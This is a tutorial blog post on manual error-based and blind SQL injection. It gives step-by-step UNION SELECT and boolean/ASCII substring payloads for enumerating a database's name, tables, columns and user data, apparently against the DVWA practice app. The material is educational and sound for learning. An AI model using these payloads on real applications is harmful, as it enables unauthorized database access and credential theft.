Injection. What is Injection?
Injection in simple terms means supplying an untrusted input in the application. This untrusted input then gets interpreted by the interpreter considering it as a part of a command or a query. This modifies the execution of the program.
An injection could cause data loss, loss of integrity, denial of service as well as entire system compromise. And the main reason for Injection is the lack of user input validation.
SQL Injection being one of the most common injection attacks, let us deep dive in !!
SQL Injection attack is the insertion of the SQL Query in a user input data from the client to the server. It basically allows the attacker to control the database of the victim. This lets them access, delete, modify the data in the database as well as other malicious activity.
Error-Based SQL Injection is basically when an attacker tries to inject a SQL Query in a user input field and the database throws an error. The attacker then would craft his or her payload according to the error thrown and then can execute the attack.
STEP 1: Break The Query
To exploit SQL Injection the most important step is to break the SQL Query. As we break the query SQL throws an error which helps in confirming that it is vulnerable to SQL Injection.
QUERY: ‘
BUT WONDER WHY DATABASE WOULD THROW AN ERROR?
Database throwing errors could be for multiple reasons.
Not knowing SQL Query Structure
Invalid SQL Statement.
Any incorrect SQL instruction identified when parsing or executing the SQL will generate an error. These errors could be like an unexpected quote, invalid table name, misspelt operator, mismatching data types like UNION, missing parenthesis, insufficient permissions, etc.
This we can also say that SQL Injection completely relies on database errors.
STEP 2: Fix The Query
Now that it is confirmed SQL Injection we also have to fix the query. Fixing the query gives us space to craft our own malicious payload while ignoring the remaining genuine SQL Query. Fixing the Query gives us no error.
QUERY: ‘ #
STEP 3: Find Columns
Let’s now find the number of columns present in the Victim’s database. For this, we use ORDER BY. This tells the database how to order the result.
If the column number is present, it will throw no error, but if the column number is not present, it will throw an error.
QUERY: ‘ order by 3 #
STEP 4: Identifying Database Name and Database Version
Let’s combine multiple SQL SELECT Statements for confirming the number of columns we found from the victim’s SQL database. For this we use UNION. With UNION we can select more data in one SQL statement. With UNION we can find the database name with database() function as well as the database version with version() function
QUERY: ‘ union all select 1,2 #
QUERY: ‘ union all select 1, database() #
QUERY: ‘ union all select 1, version() #
STEP 5: Finding Table Names
Now, as we have the necessary information, let us extract the table names from the database of the Victim. Here we will use INFORMATION_SCHEMA along with the database name.
INFORMATION_SCHEMA has the metadata of the database.
Also, we use TABLE_SCHEMA which tells the name of the database to which the table belongs.
QUERY: ‘ union all select 1, table_name from information_schema.tables where table_schema=database() #
STEP 6: Finding Column Names
As we have the necessary information along with some table names, let us now extract the columns. We can extract the information from the columns from the previously found table_names.
QUERY: ‘ union all select 1, column_name from information_schema.columns where table_name= ‘ ‘ #
STEP 7: Dumping The Data
Finally, we have all the necessary information to extract the juicy data from the database.
QUERY: ‘ union all select column_name 1, column_name 2 from table_name #
Blind SQL injection arises when an application is vulnerable to SQL injection, but its HTTP responses do not contain the results of the relevant SQL query or the details of any database errors. When the database does not output data to the web page, an attacker is forced to steal data by asking the database a series of true or false questions. This makes exploiting the SQL Injection vulnerability more difficult, but not impossible.
The process of manual blinding, just like you are chatting with a robot, this robot knows a lot, but only answers “yes” or “no”, thus it being an extremely lengthy process.
Low-level code does not check and filter the parameter id. There are obvious SQL injection vulnerabilities, and the SQL statement returns only two results:
User ID exists in the database. ‘and ‘ User ID is MISSING from the database.
STEP 1: Identifying Injection and if Injection is a Parameter or a Character
As we know now that id 1 exists, we can try injecting a payload along with it to confirm that the application is vulnerable. Injecting the payload 1′ and 1=1 # results in a true condition because 1 is a valid ID and the ‘1= 1’ is a TRUE statement. So the result returned informs that the ID is present in the database.
Alternatively,1' and 1=2;- -
results in a false condition because 1
is a valid user ID and 1=2
is false; thus, we get error that the user ID does not exist in the database.
STEP 2: Finding Columns
Along with a valid user id and a true statement, we ask the database is there only 1 column.
Query : 1′ and 1=1 union select 1 #
Query: 1′ and 1=1 union select 1,2 #
STEP 3: Identifying the name of the Database.
The next step is to learn the name of the database, which starts by determining the length of the name and then enumerating the characters in the correct order until the right string is hit.
We use the following payloads to determine how long is the name:
1’ and length(database())=1 #
1’ and length(database())=2 # ID is Missing
1’ and length(database())=3 # ID is Missing
1’ and length(database())=4 # ID Exists
Let’s now identify the name of the database, with 1 character each and for that we use;
1′ and substring(database(),1,1)=’a’ #
So here we ask the database: Is you 1 character of your name “a” ?
If NO, error will be thrown but if YES, it will accept it.
1′ and substring(database(),1,1)=’d’ #
As such we try for all 26 alphabet characters and on analyzing what we get is;
1′ and substring(database(),2,1)=’v’ #
1′ and substring(database(),3,1)=’w’ #
1′ and substring(database(),4,1)=’a’ #
STEP 4: Identifying the number of tables in the Database
As now we know the name of the database, let’s find the number of tables that are present in the database and for that we use;
1′ and (select count (table_name) from information_schema.tables where table_schema=database())=1 # ID is Missing
1′ and (select count (table_name) from information_schema.tables where table_schema=database() )=2 # ID Exists
Now we need to identify the character size of the names of these tables and for that we use;
1′ and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=1 # ID is Missing
We keep trying till we get a ID Exists error, and after enumerating, we get it on;
1′ and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9 # ID Exists
Thus, as we have 2 tables we also check the character size for the other table by;
1′ and length(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1))=1 # ID is Missing
Thus we keep trying till we get;
1′ and length(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1))=5 # ID Exists
Now we identify the names of these 2 tables, as we know their character length and for this the best way is to refer ASCII Table
Now we need to check for all alphabets, Capital as well as Small, by using;
1′ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>97 # ID Exists
1′ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>106 # ID is Missing
1′ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>100 # ID Exists
1′ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>104 # ID is Missing
1′ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>102# ID Exists
1′ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))<103 # ID is Missing
1′ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>103 # ID is Missing
1′ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>103 # ID is Missing
Oddly, we got an error on greater than 103, as well as less than 103, so we can guess 103
Meaning the First letter of the First Table Name is g
(Keep Enumerating till you have 2 tables: guestbook, users)
STEP 5: Identifying the Field name in the Table
Now we identify the Column name from the users table, by using;
1′ and (select count(column_name) from information_schema.columns where table_name= ‘users’)=1 # ID is Missing
1′ and (select count(column_name) from information_schema.columns where table_name= ‘users’)=8 # ID Exists
* Then you try to identify the character size of each column just like we did above, and then we find the alphabets.
STEP 6: Guess the Data
* As we have now found the column name, we dump the data in the same lengthy process way;
Identifying the number of rows
Identifying the length of the password for each user_id
Guessing its alphabet
Due to such a long, time-consuming, and extremely lengthy process of blind injection, tools like SQLMAP are also used to ease out the entire process.
Thus in this blog, we studied exploiting the Error and Blind based SQL INJECTION, completely manually.
This was just the first part of it. Stay tuned for some more interesting stuff about SQL. Part II coming up with much more good stuff you will want to know about SQL.